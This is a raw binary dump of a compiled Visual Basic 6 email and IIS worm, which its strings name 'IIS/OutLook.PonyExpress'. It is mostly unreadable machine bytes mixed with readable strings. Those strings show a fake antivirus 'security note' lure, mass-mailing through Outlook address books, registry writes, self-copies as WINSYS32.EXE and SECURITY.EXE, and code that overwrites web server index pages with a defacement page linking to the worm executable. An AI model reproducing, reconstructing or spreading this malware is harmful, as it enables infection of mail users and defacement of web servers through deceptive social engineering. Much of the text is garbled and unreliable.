MZ@ !L!This program cannot be run in DOS mode. $뗈뗈뗈H뗈뗈"뗈Rich뗈PELW; p @Ts(( .texthp `.data @.rsrc@@C8MSVBVM60.DLLj`EjrxjjTMjsj!>jsj`jDjnMj(Ej=jmjs>j# jm>j>jm?jWj{jj=jОjΛjjhj]EjjjCjGjAj!?jꇟjg}jYjYj̿jIj>j?j=>jAjj+êj>j9jݝjjjjj-jj@jrrjRjj,jrjΞjjj jJjEAj'S@S@S@(@GH@NH@\H@HI@wI@I@I@J@L@5M@}M@M@M@^N@vN@N@NO@O@&P@P@Q@Q@Q@Q@R@SR@R@S@S@S@'`@a@`@@.iT@pT@~T@T@aU@U@U@$V@eV@V@V@(W@iW@W@X@X@3Y@tY@7Z@NZ@Z@Z@[@B[@[@\@v\@\@!]@q]@]@]@!^@l^@^@ _@._@._@__@__@_@_@`@C`@w`@`@'c@c@c@@a@a@ b@8b@b@c@cc@c@'n@o@n@@0[d@bd@pd@d@d@3e@e@e@e@e@f@.f@Lf@f@f@Vg@g@g@4h@4h@h@h@i@~i@~i@i@j@cj@j@j@4k@ck@k@l@l@~l@l@l@\m@\m@m@m@An@n@n@n@n@n@'s@s@s@@o@o@o@,p@kp@p@p@(q@gq@q@q@$r@cr@r@r@s@%X@%|@%@%@@%0@%@%@%@%H@%@%@%@%l@%@%$@%@%@%@%@%@%T@%t@%@%@%@%@%@%P@%@%<@%@%h@%4@%@%@%@%@%@%@%`@%@%@%L@%@% @%@%(@%@%@%@%@%@%@%d@%D@%@% @%@%@%@%,@%@%8@%x@%\@%p@%@h@0h@}72K&-C000-Project1046}#2.IIS/OutLook.PonyExpress by H0axleyLE Au1RD`UNŁEy'm:O3f `ӓd PonyExpress Data security note #526272B#lt ( @ ?7ݻٻ?g$Form15<YHFKFrame17*Remember to mention your custommer number.hZFrame16 Email: virii@af-solutions.com.ukh_FixedsysGFrame15&our DiamondDefence(TM) security suite.h SFrame142soon as we find out more. Thank you for purchasingh WFrame136other people too. You will receive more information ash YFrame128It is very recommended that you give this information toh  UFrame114called "Fw: Pony Express" or "Re: Fw: Pony Express".h0  TFrame103our custommers: Please do not open an email messageh@  V Frame96mal email viruses. At the moment all we can do is warnhP Y Frame89capability and destructivity are very far beyond the nor-h` U Frame75new kind of Internet-borne virus type. It's spreadinghpS Frame53Dear custommer: We have recently captured a totallyh& Frame6Frame6ZFrame4:of our data security / antivirus suite. (note #526272 / C)h(wSFrame33Solutions corporation for the registered custommersh8YFrame29This is a computer data security note from the ArtificialhHNFrame1Security note #526272 w MS Sans Serif`F@PRD`> @LVB5!*~ T @0T@L@@xPexpressIIS/OutLook.PonyExpress by H0axleyProject1,@G@Ps@ @@@*\AE:\Program Files\Microsoft Visual Studio\VB98\Template\Projects\MyWorm5.vbpL@,@8l$Cl$KGl$>Gl$1G,@|G@@d0Di96 \,@,@  "@X.@,@,@(.@0.@@.@L.@PonyExpressProject1UNŁEy'm5u'5NOY1RD`&k DEX:O3f `ӓForm.=h8+3qE:\Program Files\Microsoft Visual Studio\VB98\VB6.OLBVB-@ ,-@d-@Ђ@N3f `ӓFrame13Frame12Frame11Frame10Frame17Frame16Frame15Frame14Frame4Frame3Frame6Frame5Frame8Frame7Frame9Frame2Frame1SendWarningMessageInfectIISMakeHTML$4DTX\`#=h8+3q"=h8+3q|.@.@yO3f `ӓ4Scripting.FileSystemObjectGetSpecialFolderWScript.Shell\WINSYS32.EXE\.exeAddressEntries(C:\Send-Me-Mail!.worCreateTextFileDisclaimer:WriteLinevsample@nai.comCloseFileExists.HKEY_CLASSES_ROOT\.wor\wor_worm_fileRegWrite@HKEY_CLASSES_ROOT\wor_worm_file\2Data security informationCountLHKEY_CLASSES_ROOT\wor_worm_file\shell\openVHKEY_CLASSES_ROOT\wor_worm_file\shell\open\.Run data security checkfHKEY_CLASSES_ROOT\wor_worm_file\shell\open\command\BHKEY_CURRENT_USER\SOFTWARE\VIRII\GetNameSpaceAddressListsDIIS/OutLook.PonyExpress by H0axley\WINDLL32.VXD.http://www.sallyone.comrunv--------------- This is a forwarded message --------------- >j> Original message from <support@af-solutions.com.uk>"> Dear custommer.p> Please read the attached data security note #526272/C.|> As a registered user of our data security / antivirus suite,> we send you the latest security information. It is highly recommended<> Birmingham B42 2PA. UK.MAPI> that you read the information card and keep it in a safe place.> Note also that you may freely distribute the card to your friends`> and collegues which is highly recommended too.<> 12 Winston Road, Olton,C:\SECURITY.EXE> If you do not wish to receive any further information, please read8> the file for instructions..> At your service:*> Dr. Ivor Davis2> Senior researcher.B> Artificial Solutions Corp.&Outlook.ApplicationCreateItemAddressTo2Fw: Security note #526272SubjectBodyAttachmentsAddDeleteAfterSubmitSendDeleteFile&OutLook.PonyExpress.Version 1.00 by H0axleyFSo, you are a virii collector too !\index.001XLet's download some more to your collection.WindowsDrivesDriveTypePath \INETPUB\WWWROOT\INDEX.HTM\INDEX.HTML\INDEX.ASP\DEFAULT.ASP\DEFAULT.HTM\DEFAULT.HTMLFolderExists \INFORMATION.EXE\index.002\index.003\index.004\index.005\index.006n<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head>~<META NAME="IIS/OutLook.PonyExpress" CONTENT="Worm by H0axley"><title>Temporarily closed</title></head><body bgcolor="#FFFFFF"><!-- This web server is infected by IIS/OutLook.PonyExpress virus by H0axley -->v<h1><center>We are temporarily closed</center></h1><hr><br>z<center><p>We are sorry but our site is at the moment</p><br>v<p>under heavy construction as you can see.</p><br><br><br><p>You may find the original site <a href="http://www.sallyone.com">here.</a></p>__vbaLateIdStOur latest updated product may be freely downloaded <a href="INFORMATION.EXE">here.</a></p><br></body></html>VBA6.DLL__vbaVargVar__vbaVarDup__vbaAryUnlock__vbaNextEachVar__vbaVarForNext__vbaVarLateMemSt__vbaVarForInit__vbaVarMove__vbaVarLateMemCallLdRf__vbaVarTstNe__vbaForEachVar__vbaVarTstEq__vbaVarNot__vbaBoolVarNull__vbaLateMemCall__vbaFreeObjList__vbaFreeStrList__vbaStrCat__vbaFreeVarList__vbaFreeStr__vbaVarCat__vbaStrVarMove__vbaStrMove__vbaStrCopy__vbaObjVar__vbaObjSetAddref__vbaVarLateMemCallLd__vbaOnError__vbaFreeVar__vbaVarSetVar__vbaFreeObj__vbaHresultCheckObj__vbaNew2|.@Ԃ@G@@HЍM\PEp\M6EEЉxDžp@jXpjhD0@EDPEP PĭflM lEuhP<@読ЍM辭PusM蛭EEЉxDžp@jXYpjh;@EDPxP6EEЉxDžp@pPEull} hh,@ulC@@EEԉxDžp@jX誫pjhD0@EDPEPѬ PzflM迬lEuh8>@`ЍMtPu)MQEEԉxDžp@jXpjh;@EDP.PEEԉxDžp@pPEull} hh,@ul<<EE؉xDžp@jX`pjhD0@EDPEP臫 P0flMulEuhT>@ЍM*PuߪMEE؉xDžp@jXũpjh;@EDPP袪EE؉xDžp@pPEull} hh,@ul诪88EẺxDžp@jXpjhD0@EDPEP= PflM+lEuhp>@̩ЍMPu蕩M轩E ẺxDžp@jX{pjh;@EDP蚩PXE!ẺxDžp@pPEull} hh,@ule44E#EȉxDžp@jX̧pjhD0@EDPEP P蜨flMlE$uh>@肨ЍM薨PuKMsE%EȉxDžp@jX1pjh;@EDPPPE&EȉxDžp@pPEull} hh,@ul00E(ExDžp@jX肦pjhD0@EDPEP詧 PRflM藧lE)uh>@8ЍMLPuM)E*ExDžp@jXpjh;@EDPPĦE+ExDžp@pPEull} hh,@ulѦ,,E/EPhP`P\PdP辥DDhgo@M,EPEPj ÍdP艥hDMMMMMڥMҥMM¥MËEuPEMd _^[Uh@dPd%jdXYSVWeE@EEEuPEEj蒥EM |P誤jXjh/@EDPEP+ PEP0EE>@EjX跣ujh0@EPܤP蚤EE8?@EjXxujh0@EP蝤P[EEX?@EjX9ujh0@EP^PEE?@EjXujh0@EPPݣEEd@@EjX転ujh0@EPP螣E E A@EjX|ujh0@EP衣P_E EA@EjX=ujh0@EPbP E EB@EjXujh0@EP#PE EB@EjX迡ujh0@EPP袢E E@C@EjX耡ujh0@EP襢PcEED@EjXAujh0@EPfP$Ejh80@EPFP hs@ M@ÍM7ËEuPEMd _^[U3]̞|sttttttttuu0u>uLudutuuSuuuuuuu vv.v